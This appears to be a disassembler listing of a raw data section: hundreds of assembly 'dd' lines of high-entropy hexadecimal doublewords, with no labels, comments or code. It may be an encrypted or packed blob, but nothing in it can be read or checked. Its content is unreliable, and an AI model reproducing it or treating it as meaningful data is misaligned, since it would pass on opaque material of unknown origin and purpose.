		dd 71EEF4Dh, 1BA2AC3h, 465687E9h, 0E2417BE5h, 5FA96866h
		dd 579C5F6Bh, 0EFDE9011h, 6D3D38A7h, 35309622h,	5CC22BF2h
		dd 0B440E1F6h, 0E918CCB6h, 0D12863D4h, 77FF13E2h, 215BCB24h
		dd 0A5FCBFEBh, 13204B13h, 19C16611h, 142B390h, 97585C79h
		dd 1049FF16h, 412D0DF0h, 1398A5E5h, 0FD36E945h,	73CDA774h
		dd 10C53829h, 5966E802h, 1FC1C328h, 0C98100D7h,	9AF1F422h
		dd 160E0543h, 0B8F725CEh, 199F0B88h, 38E3583Bh,	5F927B90h
		dd 13140756h, 0D177E41Ah, 0D54D4585h, 0A0B520E5h, 0B7D0F45Bh
		dd 3B734FD5h, 0CB482941h, 49E90840h, 0C10C24E2h, 0DCE408E1h
		dd 19BC93B1h, 5246ED0Ch, 7BB170h, 586EE017h, 9772B00Dh
		dd 0A6C1413Ch, 79185103h, 0C902E64Bh, 33820966h, 0F5E15140h
		dd 0F45E027Ch, 9A922753h, 61520BD4h, 54DEE361h,	0FBE90427h
		dd 972A2E7h, 6602ED81h,	0BDE9370Eh, 40BF10BAh, 544F6232h
		dd 0F0C1FEC3h, 0EB834104h, 0D8242DFFh, 6ECF3466h, 39A4C1B8h
		dd 0F5453154h, 42E9D092h, 843DDBF8h, 0A3194168h, 6FF5022Ch
		dd 0E0F777F3h, 0D3F9C1FEh, 7FE78A11h, 0D00D4883h, 0BCCAE9B0h
		dd 13089CD0h, 28B6FEE7h, 4FBE874Ah, 912E33C6h, 4CB90AE2h
		dd 0D43ABCh, 48580B3Eh,	9557E0E9h, 9AEAD3AEh, 0A83A6C2h
		dd 0C5A1DD1Bh, 0F477F10Fh, 20B5B739h, 0D828DA5Fh, 4FF0E92Ch
		dd 0BD18C0E2h, 7BB566CCh, 0E05A46F4h, 0DC802C25h, 52FE686Ah
		dd 0D5124A57h, 0B2913138h, 130920F6h, 23707EF9h, 0FC5BDA01h
		dd 1CB661F7h, 6BC88959h, 0CFE3B537h, 0B91C00CEh, 6BD05772h
		dd 4301E181h, 0E91AD161h, 2086D644h, 0BEF6C8FEh, 24B71348h
		dd 51072B58h, 0CB0505B1h, 0C755F205h, 0F509A7B3h, 6EE4505Eh
		dd 9948014Ch, 0AA6D5985h, 80D9E989h, 30A62909h,	81DEF19Dh
		dd 0B61EF85Ah, 9FE533C0h, 9074DC5Ch, 93AC0008h,	0EF31A51Ch
		dd 0DBD403E9h, 0F34103D9h, 0A329D4F1h, 5BD8995Eh, 9E590238h
		dd 2E29014Ch, 2D77B0E1h, 0D13A32CAh, 58A8E55h, 0D801A4B3h
		dd 84515C4h, 8C845DE8h
		dd 0A3E91602h, 4FA3D6A0h, 0A4742804h, 68160254h, 1B602B5Bh
		dd 139D5F88h, 8DBF75Dh,	54138ECBh, 2C3B70B1h, 6A4DE9AAh
		dd 3CAC3D35h, 29AE169Eh, 5AF08E27h, 7D090831h, 0D5049D7h
		dd 5726354Bh, 324B01Eh,	0B90A0095h, 1FF71E9Bh, 0E64C0168h
		dd 0C0F30C60h, 1B97543Ch, 633BE700h, 3D21ED0h, 0EB8B4D52h
		dd 84A84512h, 2E2982Dh,	0DE0CF1A6h, 28046F44h, 0BB5840B1h
		dd 3BDA6CA8h, 5575F80h,	725806BFh, 0C7F1C73Ah, 21932h
		dd 2C7927B7h, 246B65A5h, 8D402717h, 5D816471h, 21D6472Ch
		dd 280DA0DDh, 78694CA1h, 9729520h, 67B551ACh, 0D8C44406h
		dd 4353FEBCh, 9C620344h, 8709CF4Dh, 3582DC50h, 0BDA6FE68h
		dd 0FE42F207h, 7DEAF2C2h, 0AC291B58h, 0A724676Ch, 0FD3996AFh
		dd 0A821752Fh, 1882A429h, 815AE61Bh, 47004397h,	9A09F781h
		dd 0ABEC138Fh, 0C1DA04E9h, 97C457ABh, 0D12AB504h, 0DD05B22Ch
		dd 0B3002B9Dh, 486E89BEh, 99295B6Bh, 5BDDE04Ah,	0B9515001h
		dd 581F070Bh, 1D222430h, 802B6A4Dh, 2F77D0F1h, 6359E92Ah
		dd 0F829171Ch, 4F4EAECAh, 1C50BD85h, 2678585Ah,	3F1289C3h
		dd 56348BF4h, 0E913BF87h, 1AA4580h, 578D4BEEh, 783101C1h
		dd 7F830EFAh, 840F0220h, 68FEA1FCh, 994D7818h, 0EC69B7E0h
		dd 0C5FACA1Ah, 3405BBFFh, 0FC12F2DFh, 24313B10h, 60024C5Eh
		dd 41156348h, 5B027DA5h, 1625AF64h, 4B6F5911h, 5D170B5Bh
		dd 4CD25DF2h, 81B9A47Bh, 0D79BF507h, 92B276BCh,	0B00B83B8h
		dd 6879DA67h, 1CBD0480h, 56E9298Fh, 4126F16Fh, 0C43E08A4h
		dd 0FA300146h, 7A54B65Fh, 0E9400CA6h, 804EB45Bh, 0E18AF52Fh
		dd 5CDC0BDh, 326E3E4h, 53525166h, 0CBC967B3h, 0D6F8F3A7h
		dd 0DC728850h, 25E9E238h, 60699AF3h, 0E75E5BACh, 93D5442Eh
		dd 5A660663h, 9A77F204h, 4289BFD0h, 2D440451h, 81475C72h
		dd 0D1575D09h, 0CF898186h, 7BFD0159h, 3E259C12h, 0A3C0A3B2h
		dd 4B66D750h, 0D0F79307h, 0D824C331h, 55C5DB82h, 97FC959Ch
		dd 0EAC5252h, 0A209454Dh, 7EEF874Fh, 6041088Fh,	3A8CC31Dh
		dd 468E4B3h, 234E0E96h,	5A7BBC5Dh, 0A5847D84h, 0A64013ACh
		dd 0F4E1E65Bh, 8112B410h, 20764EF5h, 2C766075h,	52D60602h
		dd 0D4B2E94Dh, 0CE090E57h, 30D084E9h, 0EE805802h, 85F7887Ah
		dd 4F0E3B2h, 6EF00C1h, 1D77C781h, 2390FD0Dh, 9BB752B2h
		dd 68BFDA13h, 0BEC62878h, 0F40B5254h, 0C6AA61D1h, 87128D75h
		dd 0C5215455h, 4B02CC7Bh, 2CD555C1h, 250D9B7h, 0F79A0915h
		dd 98BC4951h, 2D31A298h, 5AC39079h, 0ADFC0104h,	3C43A968h
		dd 42ACC14Eh, 8F607FB7h, 403F02D3h, 6EEC143h, 0C607917Eh
		dd 82FB800Ch, 57AF33B0h, 1FB1A218h, 152D308h, 6C293E54h
		dd 0B628350Ch, 56181046h, 8BF5F72Ch, 0D99AEF64h, 0CE6F64DEh
		dd 20F236D3h, 54586E51h, 59C82C01h, 1FC700D7h, 0EAC12F44h
		dd 0D78D024Bh, 35BF027Eh, 0E8410D46h, 0C4322895h, 29078EAFh
		dd 0FBABF7EAh, 0C520F0CCh, 4D537FCBh, 4E7024E2h, 0E4B644D8h
		dd 0E8C100A6h, 0A70D04h, 353CC536h, 4F0AC805h, 0A928D696h
		dd 6ABAE972h, 28EC040Fh, 0BE6225F0h, 98AF39C8h,	5B6A7BD3h
		dd 544C3FEh, 0F3A730D1h, 4F7C0AD2h, 0B31C4812h,	9D0DB1A4h
		dd 672EE4B5h, 3344C8F1h, 2C83CD16h, 0E08A4C2Ch,	95B0A9E9h
		dd 0AD83F139h, 5A0A910Ch, 0E638AE37h, 309225C9h, 6606183Ch
		dd 0F801200Ah, 0E90A0705h, 318DE9FCh, 5434961Ch, 2949C0F2h
		dd 272D5BDFh, 10E41D1Ah, 8B07093Fh, 303F1974h, 0C685723Eh
		dd 0DD809DF0h, 5A81D0E5h, 0CBBC3220h, 9970599Bh, 18A93805h
		dd 2584C201h, 58E90804h, 0D6CF40BBh, 5EF0895Ah,	8102EEA1h
		dd 0C7350806h, 5560C852h, 5D2F40B4h, 6861AA96h,	0C82C1E05h
		dd 7BB78CD2h, 60554733h, 11366BCDh, 0B794F34Ch,	1D76F588h
		dd 0D6828A5Bh, 779C0222h, 72623413h, 8821035Dh,	58C391C8h
		dd 872B2449h, 0DD1C940Fh, 0B652E818h, 4D419E48h, 0B31B1323h
		dd 0F258DDC8h, 287BF326h, 23FA59D8h, 0EF312C5Fh, 0DDCD5AD5h
		dd 72021E30h, 0F208485Ch, 53162820h, 47B00D68h,	73349489h
		dd 54DA3A04h, 0B7C246A2h, 69260A94h, 0E25744A7h, 6859150Bh
		dd 0CEC5F78Bh, 6F093BE9h, 0AB2CC9D8h, 801D6DA7h, 0C6FEBDF8h
		dd 703E6C0h, 0CE80D6F6h, 5FDE5745h, 0F0A40513h,	39E135Ah
		dd 252C46D7h, 0D0E30995h, 6DA73DC3h, 0CD82F210h, 0EB5CB0ECh
		dd 811EFA49h, 18ABBD81h, 29923DBFh, 8C134AA4h, 0C08FC982h
		dd 34C8DAE6h, 470EB19Dh, 4A72026Fh, 77E1EA83h, 3B68D2B9h
		dd 0F73A05E3h, 7D36DCD3h, 1F01B14Eh, 40C0685Eh,	0EEC1212Ch
		dd 935F280Ch, 0EE1FF46h, 0B4921D26h, 0DE4C8E14h, 0F681C0CEh
		dd 16721685h, 0A2F28907h, 26B8934Eh, 802EF064h,	5347B9B5h
		dd 0B4C7435Eh, 0DC41CE02h, 0AB200579h, 0F7A6D1F3h, 4DD33DAh
		dd 3399C070h, 2AB37680h, 346148B0h, 8059851h, 1EA620E8h
		dd 26918999h, 0E6803F4Ch, 5B661930h, 0D3267890h, 345DB3Eh
		dd 0B0A5C5A2h, 0F6046182h, 0E801FBC2h, 0ECA036C2h, 64230084h
		dd 814B7DABh, 3204DCE3h, 89E9522Eh, 68D834A1h, 0D664C99h
		dd 59CA83E7h, 1285420h,	0C032D168h, 72095844h, 0B6A45822h
		dd 0EC84B60Ch, 741D3A14h, 0EF9C4528h, 26C83941h, 0BD44F729h
		dd 20950813h, 0B77C6205h, 899E42EDh, 0AA01FA3h,	669D1C77h
		dd 14D35917h, 0AE702DC1h, 3EF12901h, 0DED3415Eh, 0DFBE2AC0h
		dd 17CB3D72h, 80691C4Eh, 0F606E5C0h, 0C50C80DDh, 0F4EA08D8h
		dd 58ABB255h, 5C1F8250h, 0B85B8078h, 0A42787A8h, 5997E95Ch
		dd 16313F5Dh, 788D4468h, 0B1277CE0h, 96E9A742h,	59C02448h
		dd 0E2BB5300h, 81165F67h, 74AF3FEBh, 0AD45428h,	3DA36E55h
		dd 3E8300FFh, 0D901C7D8h, 7CD18BA1h, 0B1CB4E92h, 1439E2C4h
		dd 49CC405Ch, 8024777Bh, 4691451h, 87FCC3DAh, 1FE5D29Eh
		dd 1353058Eh, 0AB56830Ch, 0DCBDD102h, 0E1023D0Eh, 0C93A8334h
		dd 0E00D3AB7h, 9EF90631h, 0CA92126Ah, 827E4903h, 0DC37EF68h
		dd 0D1FB69A4h, 8374682Fh, 0EBC7C196h, 70841467h, 0A6C2FB62h
		dd 752B718Bh, 708EC780h, 0C1127B25h, 2D0903E7h,	3F840495h
		dd 18563B80h, 3A9060A7h, 5C42E95Fh, 71342BB7h, 2CBF4080h
		dd 11587547h, 78030006h, 0F7016B6Eh, 0F95AC05Eh, 0C1174935h
		dd 1073EF4Ch, 0BD011D10h, 445B13EEh, 465DD429h,	0E40B7F90h
		dd 40BC6882h, 5350E954h, 8C91D96Ch, 0C8AF0F0Bh,	0BE292609h
		dd 5E594956h, 0A98B5F2Dh, 90518F2Bh, 0E03F03CBh, 0A64E4CACh
		dd 107AD0Eh, 7E91B713h,	19E29755h, 0C9646FE8h, 0D64E1EA7h
		dd 29900697h, 76ED58D2h, 0F6D021C4h, 4BF649A9h,	122E9A29h
		dd 0EC9DCDB8h, 56D30527h, 0BD6E8C2h, 0B83B7685h, 2E554C1Ch
		dd 2C9D7E9Ch, 561D412Dh, 612BF8C1h, 0D67AE9F2h,	0B9097052h
		dd 901F4C59h, 145FF2F5h, 0BA695572h, 0AD5DC499h, 6C578CCDh
		dd 89324BD5h, 55CFF385h, 7781ADE1h, 3FB1434Bh, 0B7524D73h
		dd 8C5BAF17h, 546B5159h, 4853D90Bh, 79944B06h, 82F4E925h
		dd 55AD68A1h, 0AFCDFA2Eh, 1034E87Ch, 600208B3h,	0DE179472h
		dd 45658229h, 0AC162CBh, 2FA4789Ah, 0F8DF8049h,	0BCAD8850h
		dd 42D1EF4h, 827CA842h,	967753EEh, 4BC4FABBh, 0B84D463Ah
		dd 50750CBBh, 7A0E2916h, 5D87FD80h, 0E92717ECh,	9C25554h
		dd 7D2A994Bh, 138CD018h, 0E4ADDD68h, 108DAA86h,	0A58B188Eh
		dd 17C1D637h, 2086EB4Eh
		dd 54BABB66h, 875C1F63h, 0DE4515EBh, 0CB5B664Ch, 9F5010A5h
		dd 4F56680Ah, 1A33C0A9h, 0D69829E3h, 104CA20Bh,	481833Dh
		dd 305A10D1h, 0C5FA5090h, 5E56C240h, 31A00454h,	957D951Ch
		dd 12CD0609h, 0F84C63B1h, 365C1853h, 8C17D87Dh,	4246280Ah
		dd 0EF00B120h, 0E903C65Dh, 97185B41h, 60115029h, 0D13A8929h
		dd 9A924F5Ah, 0B652505Bh, 8B805AD7h, 75100644h,	942AB83h
		dd 8F6D4A4Ch, 0E7C2B480h, 315CB762h, 58F4892h, 0FD73DE1Fh
		dd 30309EA1h, 9C04806Ah, 62BA6814h, 9AB6C0CDh, 2799B353h
		dd 6440C3FEh, 0CBEE9BF3h, 0E076E5EBh, 0E92510C6h, 53970B74h
		dd 65B8C0B8h, 0BE00DD89h, 0DF77E82Dh, 51D0011Ah, 0D92F0705h
		dd 20538BAh, 34F67F46h,	299D2F01h, 0E5C5270Ch, 78F0E697h
		dd 590C00B8h, 685650A3h, 0A2310B08h, 3431F839h,	0B5FDB397h
		dd 0C89E2ED8h, 0C9DDE909h, 55097C54h, 98AA1457h, 5B3A975Ch
		dd 0E916046Eh, 0FEF2EA79h, 0BA606092h, 0B60B346Fh, 0CCC9E907h
		dd 1F6812B2h, 822C3725h, 27552BA2h, 122870A1h, 1C330C52h
		dd 0C24F895Fh, 1040C38Dh, 409E7145h, 66064638h,	0FA0127EDh
		dd 4008831Ch, 2CE9141Ch, 4248D9B5h, 1B7AAA3Eh, 1456A114h
		dd 59CD12EBh, 94E4B0E8h, 58E4EC4Bh, 0F1CC25D8h,	0CA71C940h
		dd 0CAB450E3h, 0E384E1B3h, 0B04EF74Bh, 0B851EA4Bh, 1C5E202Ch
		dd 3FAE6013h, 0B0A9190Dh, 0B399223Fh, 54FA2C11h, 7105E0D9h
		dd 110B5A76h, 5972D9E9h, 0F855C417h, 61F29A31h,	3A1925h
		dd 7DE2BEC4h, 0D1161E8Ch, 0BAF74EE6h, 0F6020858h, 0FB8A3FAFh
		dd 7ECE7D61h, 5F839C73h, 0E985310Ch, 3F137FDFh,	4E84A0Fh
		dd 109C6BB1h, 0F8704184h, 589AD720h, 7127CA77h,	0D67D120Ch
		dd 0E9CBC0E9h, 379CEC63h, 0F0B20B4Fh, 9DDFB952h, 912262D2h
		dd 5DE825A8h, 0E94174F1h, 0C7534407h, 0B349B9F3h, 39F2E180h
		dd 2963A465h, 0A35AD529h, 0C0745D96h, 0C8C156FAh, 0D077298Eh
		dd 53B6E427h, 0E56885ACh, 131FF379h, 0C06023B3h, 94E12BFh
		dd 0EFE95602h, 205CEE61h, 3F59DD9Bh, 79B08420h,	0BA1B5F8h
		dd 605B0245h, 5E28F87Ch, 0C7D86D3h, 5878E376h, 2945F99h
		dd 51AAC420h, 2B018713h, 0A7AD8F83h, 2DED6B02h,	606E8664h
		dd 2601B222h, 42E43A2h,	82B83AA3h, 0A6E860BBh, 703E0C68h
		dd 0B1B5485Ah, 567DCFE9h, 779AC50Fh, 0A1D32A0Ah, 0A6341398h
		dd 0DEE9841Eh, 5E0B36ACh, 8409D101h, 888FFCF9h,	54E045DEh
		dd 0F30F71A9h, 94B3336h, 0CE45280h, 5AC1632Ch, 429462ECh
		dd 0DCBF9AFBh, 72FA53FDh, 6B397C09h, 0CE68BE31h, 60AF305Dh
		dd 81629174h, 840FC00Bh, 2BF53572h, 1A10DEC4h, 0AC675477h
		dd 0BCDF54FBh, 0DFF3003Fh, 89DAA7A6h, 2EE912D9h, 0FFEFB492h
		dd 28AB2C1Fh, 2101906Ch, 0E8BDE9D5h, 0E4438D2Fh, 1E954CFCh
		dd 8BF2DFEh, 0EB0138C6h, 0F7600902h, 0DA6057DEh, 1A70133Ch
		dd 4047F806h, 0B4020CF4h, 6AE949A7h, 0A794E7B9h, 0EA455B79h
		dd 332DA07h, 0ED0A680Bh, 74171FDCh, 0C0E6684Dh,	8814B01Ah
		dd 510358C6h, 0CD80ECB5h, 9EE598BCh, 2ED3CC0h, 1613F593h
		dd 3F84AC2Bh, 5CE69FBAh, 0E608EECFh, 9812B7F6h,	80497BF6h
		dd 0FEC78157h, 1C477339h, 2B1D1D3h, 7AEDC3BDh, 0C3761E9Ah
		dd 0D1CA8124h, 0C3C88327h, 0F0BB009Dh, 45503505h, 0E40A2D0Ah
		dd 0FD159919h, 599C8647h, 71DF0BF6h, 1E012D33h,	96394F1Bh
		dd 0C2E1264Ah, 58B24F7Ch, 0E90BB459h, 5BAF612Bh, 0BCB1F828h
		dd 2382DEDh, 3B1A5C87h,	4B91F656h, 0F7347250h, 0BDAC04D2h
		dd 6600374Ch, 0E97B911Ah, 15BC0595h, 7088F181h,	0BAF32649h
		dd 0D6784899h, 0BC68125Ah, 513357Dh, 0F4104DF1h, 6C74F8BAh
		dd 0B3C8293Bh, 20590E05h, 9E30D810h, 69502612h,	1FDA2468h
		dd 0E953D813h, 4AEBA45Dh, 33C8ADF3h, 4753E906h,	5AD49829h
		dd 0F720DC59h, 231D548h, 3AE60135h, 0E8346345h,	31AAF916h
		dd 9D5D4E9h, 2E86A7D3h,	0E3C161DEh, 7CE2E906h, 6F973AA3h
		dd 0D8A653A5h, 2813CBC3h, 2B0BB376h, 0F81F6375h, 90562C93h
		dd 88024FEBh, 5E9413BDh, 28F9662Dh, 1DF5157h, 66EE7AF4h
		dd 2CDE73E9h, 4EA3D7E2h, 0FDCCD349h, 0E624C10Bh, 22023703h
		dd 0FC26768Eh, 39C26BEh, 49BD6077h, 1684E1F8h, 282C783Bh
		dd 11EA75E9h, 42FD049Fh, 5E5703FAh, 0D8E36783h,	81D0CF4Eh
		dd 60E0B1A1h, 394DAEE8h, 32C017E5h, 14BB2B51h, 1C6F0B05h
		dd 7D05254Eh, 5A07092Dh, 83F3ADCh, 0AD035E12h, 5C17D9EFh
		dd 69B00A98h, 0E7D48CA4h, 176E646Fh, 0FF486808h, 0C1E6E9C1h
		dd 563692h, 3F36BD7Ah, 0DDE4BE34h, 1E00301h, 0BCF7E9FEh
		dd 0E6028122h, 73024749h, 895D840h, 312DECFEh, 26FE94F5h
		dd 92A8E821h, 0A01FB950h, 1D0A2D5Ch, 4E554A42h,	10807C06h
		dd 3507E0C1h, 3FF42F05h, 24AD8964h, 8712CC42h, 8DA18D7h
		dd 79557E9h, 5D4401F1h,	66BA7D82h, 0E04C9D20h, 0B3004394h
		dd 0E9794732h, 5679A34h, 0CB5B28BAh, 0F367824Fh, 23188529h
		dd 52AC9456h, 0C461B50h, 1D6925Dh, 0E8958912h, 401FE9CCh
		dd 1C0FB9B2h, 4613A85Eh, 608FD08Eh, 7F423EE6h, 55005DACh
		dd 0E22DC2BDh, 39CD8152h, 0A35075F8h, 57650CE5h, 0C20C72CFh
		dd 0FDF33E24h, 0D36C8D09h, 521E28EFh, 3333A65Bh, 66B3186h
		dd 84C520Dh, 6B6968E9h,	7EEA123Bh, 497E11E2h, 5F2D1533h
		dd 0EDF2A658h, 0AE32C15Fh, 6582ABCCh, 18994A3Ah, 5A51A77Ah
		dd 171BC15Ch, 6540CC6Ah, 45E96E5h, 937982Eh, 0D1FBB17Eh
		dd 2EEA6687h, 3A1A8DB3h, 489647D1h, 2840717Bh, 0A4FC78F0h
		dd 0E9C29CF8h, 94D1FDA8h, 0D2D82109h, 0C2854B85h, 7B7E5895h
		dd 0C0FAD0F8h, 46C1C5BBh, 5DF644F0h, 5C3C8F59h,	2604D65Dh
		dd 32AAAFF3h, 91503DCFh, 0A7E75A7Eh, 0C5C08F4Dh, 7CB314BAh
		dd 823F7B1Ch, 2C87E92Ah, 5A5279A6h, 1477A20h, 0B03E5E05h
		dd 82C5011Ch, 4CE95523h, 49B15E82h, 0CE138D5Bh,	4EE8A0A4h
		dd 477E2FCh, 1BDE410Fh,	0E97144AAh, 32C9AC67h, 0E62C525Bh
		dd 0CC5F4EDAh, 68165DF5h, 5CA90642h, 0BBA40E95h, 4BE99428h
		dd 0EC631298h, 482E5D9h, 9B20D732h, 80EFD0DFh, 284FC70Bh
		dd 9F4771FDh, 60AE6888h, 0F1F3777Bh, 0DC5C2682h, 0A0682762h
		dd 0DF22C1AEh, 0CA810248h, 77500AC6h, 17E28642h, 0E96FE6D9h
		dd 0A279519Ch, 8338B7F6h, 8B07EE81h, 132516Dh, 816CC6Dh
		dd 912CFECCh, 18ED54h, 2E36E7D5h, 0E9126976h, 0BE35DE3Dh
		dd 0A1CA53AEh, 0A12D600Ch, 562D62B7h, 7330C935h, 9BFDEE9h
		dd 84EDD15Ch, 0EE63B468h, 0B390F231h, 8A0D8C3Ah, 4B82140h
		dd 1E0C7965h, 5C30C631h, 5867370Dh, 0EE8AE01h, 0C05F5A02h
		dd 42C5C92Ah, 5853262Ch, 0CA1B2A03h, 0C1E1AA34h, 3BE0F1BBh
		dd 0CC3F4C5Fh, 801CBD20h, 0C4C94FF4h, 7C39054Eh, 40583190h
		dd 6FC17231h, 0F0C408C8h, 80B1F268h, 0D2C609B9h, 0BC19AC2h
		dd 44A0684Eh, 589680D9h, 177440E0h, 172A546h, 0ABE94D77h
		dd 0E5356EB8h, 171058B9h, 15A5504Ah, 7BD0B95Eh,	127532BDh
		dd 0C1C14B7Bh, 222F3EABh, 0C838D70h, 0E9D6203Ah, 44C0BB6Dh
		dd 0C72CDBB0h, 0C4C24C80h, 0D1D9CC16h, 68C1B4Ch, 5313A68h
		dd 0B8034B48h, 675863D5h, 5160C3D2h, 1818A3CBh,	41E44C8h
		dd 3CA6107Dh, 31804A01h, 50030FBCh, 14158E2Bh, 0CF49A23Eh
		dd 1FD04128h, 0E0346627h, 0B976AD28h, 59CB0113h, 0E913B0ACh
		dd 58DA494Fh, 59165D73h
		dd 2EE9DF3Ch, 0AF3ADDA3h, 406A3C85h, 0EBE781C0h, 567B7D16h
		dd 4B59BE59h, 396434CBh, 1C12BE5Fh, 0CC82E62Dh,	6B380598h
		dd 0DC42274Ah, 0BA04E858h, 1E242B1Fh, 2D2707BEh, 5B092AFh
		dd 1F9DAFE3h, 16142807h, 61C3895Ah, 30DD0121h, 0E80FBF34h
		dd 8B524A5Eh, 3AD97CEFh, 793B5CBEh, 264F703h, 2A01D88Bh
		dd 522A1016h, 313AFD29h, 0A736E940h, 0BAC1C33Ch, 0EC8F026h
		dd 4C657F05h, 580A407Dh, 0E8295737h, 2E69F9A0h,	0E931BE09h
		dd 4EB3F8CDh, 55143858h, 300035BCh, 51354B5Ch, 0B720005h
		dd 0C158C589h, 0DF9402EDh, 4D47902Ch, 8D6A617Fh, 0C2F5100Bh
		dd 7EFC306Ah, 1A5C1D27h, 8D66898h, 0BFA290Bh, 79808B11h
		dd 0FE4A825h, 59DC2BD1h, 60C5CA4Bh, 0D768E6A0h,	0E03DD73Ah
		dd 71578040h, 0CD01276Ah, 500FCE60h, 163EB23Fh,	4B3E5B3h
		dd 28956883h, 3FE75512h, 58083DE6h, 33880410h, 3C442F9Fh
		dd 0A07DE220h, 7C6D46FEh, 5DE8CB2Bh, 133C4483h,	0C4EED127h
		dd 12E67E0Ah, 1022C24h,	0B475873Ah, 2C77C31h, 2BCA4FDAh
		dd 0F37C0909h, 0C1465403h, 0FD0C1F6Dh, 0F68D363h, 12B05CDDh
		dd 0DB01EB87h, 14997C4Bh, 0C96821F5h, 9E12D16h,	0BF840B5Dh
		dd 29E0174Ch, 56F30129h, 541E05BEh, 5E109C07h, 0AEF04E7Eh
		dd 0CDB9C1A3h, 20952052h, 5A12F5FCh, 481078BAh,	806278DBh
		dd 44015D26h, 7C681476h, 0E7D4AE55h, 92CAA25Bh,	0CE8560B2h
		dd 1F32AFF5h, 80ACA1F1h, 0ECCD91CCh, 0FAE19C60h, 9D816014h
		dd 0B558C9F7h, 4A24048h, 5E8D6FF9h, 2B7F6601h, 6E93412Ah
		dd 0F217F19h, 0CFE8E7D1h, 0F6489531h, 54933BBh,	51DA25B3h
		dd 0E8724FF9h, 0E91340D6h, 0ECB780ECh, 6A9D94F5h, 0E50E2D4Ch
		dd 0C3C27196h, 9677D02h, 0FCCA0AE9h, 0F3C28FA8h, 872C48C4h
		dd 0BEA8577h, 0B4545908h, 0D0748952h, 0B35D4BBEh, 8E88D693h
		dd 427126E9h, 204040FCh, 3CED5439h, 55C60674h, 5186356Bh
		dd 831507EEh, 0A1DD53E2h, 0A8A4E948h, 53716858h, 5317940Fh
		dd 9091F252h, 181825F5h, 9E2B28FEh, 0CE3F8924h,	4220FB5Ah
		dd 1ABD0EA4h, 3142EF0Ch, 1151246Ch, 12E20F24h, 0E62148C5h
		dd 0B0500497h, 0C2C8FE14h, 23F91E37h, 0E0ECA46Fh, 61F7B900h
		dd 417B4C56h, 0D526992Ah, 4F76475Ch, 3DAE21C5h,	7246072h
		dd 0F22F525Fh, 0DB680860h, 0E5B0530Bh, 2FDFB230h, 321C8CEAh
		dd 0E3765AB0h, 29EA2A54h, 5BEB80E1h, 72B35D6Eh,	0C9E9E210h
		dd 87B46066h, 9CD2E914h, 83274DA9h, 9781E2D1h, 2AD87FC0h
		dd 0B7E07FE9h, 0C194FDCBh, 0DE39A7C7h, 0DDE5A2F5h, 45D293C2h
		dd 0F6CE0ECh, 560868F7h, 18B60EE6h, 0EA65D4E5h,	79596C49h
		dd 0D1B04B0Fh, 0D49E5BD9h, 43866861h, 2243C077h, 685DE802h
		dd 0E5F14698h, 0ED4202BCh, 5C3DE94Ch, 0C8E39D05h, 0C528DAA6h
		dd 0E501B207h, 0DCC25947h, 3CBC499Ch, 7DF66F01h, 6851C1B6h
		dd 33763037h, 1D3A2518h, 0B63DADB5h, 0EC552A36h, 845F5F76h
		dd 5D591482h, 459746A2h, 5047E918h, 12604958h, 70430Fh
		dd 82599D09h, 462FE94Fh, 1C669BCAh, 8EDD8848h, 54A059EAh
		dd 5B5A0187h, 9D38E912h, 1AEDBBA4h, 0C76F90Fh, 5A96E6DEh
		dd 0E909D7A3h, 0D544239Bh, 825276B4h, 39E45C8h,	8BA4A5Ah
		dd 0B803BCFCh, 8C7655AAh, 357CB9ACh, 1C0A2958h,	29D09202h
		dd 185F6098h, 4BC32080h, 0FF109258h, 76631A41h,	0D6B181D7h
		dd 1192B5E9h, 0D7B6EC5Bh, 5802375h, 80616Fh, 0CA814A45h
		dd 3FDC4C40h, 0B2D2F728h, 4F3CE50Fh, 72F2C344h,	2DC490CFh
		dd 185812FAh, 234E157h,	0B6745A07h, 0F2BCA544h,	8A4ABF25h
		dd 22E1D6C3h, 0AD869D3h, 0EF4B2B68h, 366BD60h, 0F06C4F15h
		dd 8A4AE665h, 40162AB3h, 158EB36Bh, 48F5AC41h, 96247856h
		dd 1EC06BEAh, 4515663h,	4308EBC1h, 87C194D1h, 8923A099h
		dd 29065BDEh, 9AB4E9F1h, 5FEA5C3Dh, 3DB01C20h, 5DD63702h
		dd 72CB2194h, 825C7DDFh, 0A80F2284h, 0D9F60F43h, 0F82ACB80h
		dd 45D6811Bh, 0F6F47520h, 0ACA269ACh, 656F5456h, 4EEFBC36h
		dd 9E78F3CCh, 76FA562Bh, 41B77C4Fh, 1669676h, 56346B05h
		dd 0A0E52845h, 251F9068h, 0E9585569h, 4A0DCF3Dh, 23D27C85h
		dd 809BDE4Fh, 31746F7h,	39020523h, 0E96DD127h, 600DF87Fh
		dd 0FAE56245h, 6524DD21h, 8307F04Dh, 0A01BFEFFh, 0D8E957E7h
		dd 2031D83Bh, 923B5159h, 15ED0171h, 894F3663h, 7F295E30h
		dd 0DF18CECAh, 0C0BAD86h, 0FA3CC80Bh, 8327521Ch, 140C4108h
		dd 9D952B74h, 9762B88h,	0D244476Dh, 0BC03A8B0h,	0BA172C6Ah
		dd 267C89E7h, 6813807Eh, 563AAD5Fh, 0D75079C2h,	64EBC429h
		dd 2C60F287h, 0D1887606h, 73C07F5Ah, 2E12806h, 588B7FECh
		dd 0F448D7F1h, 8FE896Ch, 7E56B24Ah, 73D6F545h, 321684DEh
		dd 0C5B4ED9Fh, 0C1825552h, 0D488031Ch, 6658E590h, 20CA5A5Eh
		dd 0A4AD0223h, 29C280DFh, 0AD16C101h, 0FE9E103Eh, 0DD042048h
		dd 0EA31DA91h, 0E47B0D41h, 0F561C5CCh, 2D50EF4h, 0E9CE016Dh
		dd 9CDD9458h, 5F61FC40h, 2DBEA230h, 0A143E759h,	4BC608B0h
		dd 0E4B85000h, 970D5A53h, 0E8D10860h, 67850505h, 0E5B82F4Ch
		dd 60C71478h, 0B46BF157h, 4693BE00h, 0D2C879F9h, 5B51EE1h
		dd 0C780E8B7h, 0D7A4C477h, 74F380B9h, 329FD830h, 2D36D0D8h
		dd 37E48125h, 3D29600Fh, 0BABB8467h, 499E39F4h,	2A9C30EBh
		dd 215F1CB5h, 246E7F8h,	0C659DB90h, 24F1021Fh, 0F43C96E6h
		dd 0B6B407Fh, 0E49821F4h, 0FCEE4341h, 26802F1Ah, 6A55FE77h
		dd 0E4D0892Fh, 0D25220B3h, 67F0644Ah, 2E2AB002h, 417E16AFh
		dd 744403B3h, 668080CBh, 0B0226BEh, 0E0C60520h,	0E649C10Eh
		dd 0FC52F504h, 447F77BAh, 0C2D6092Fh, 0A6AC0353h, 0D6F7F33Eh
		dd 1C203039h, 784FEB0Ah, 0BC31E91Ah, 308274DEh,	977951B2h
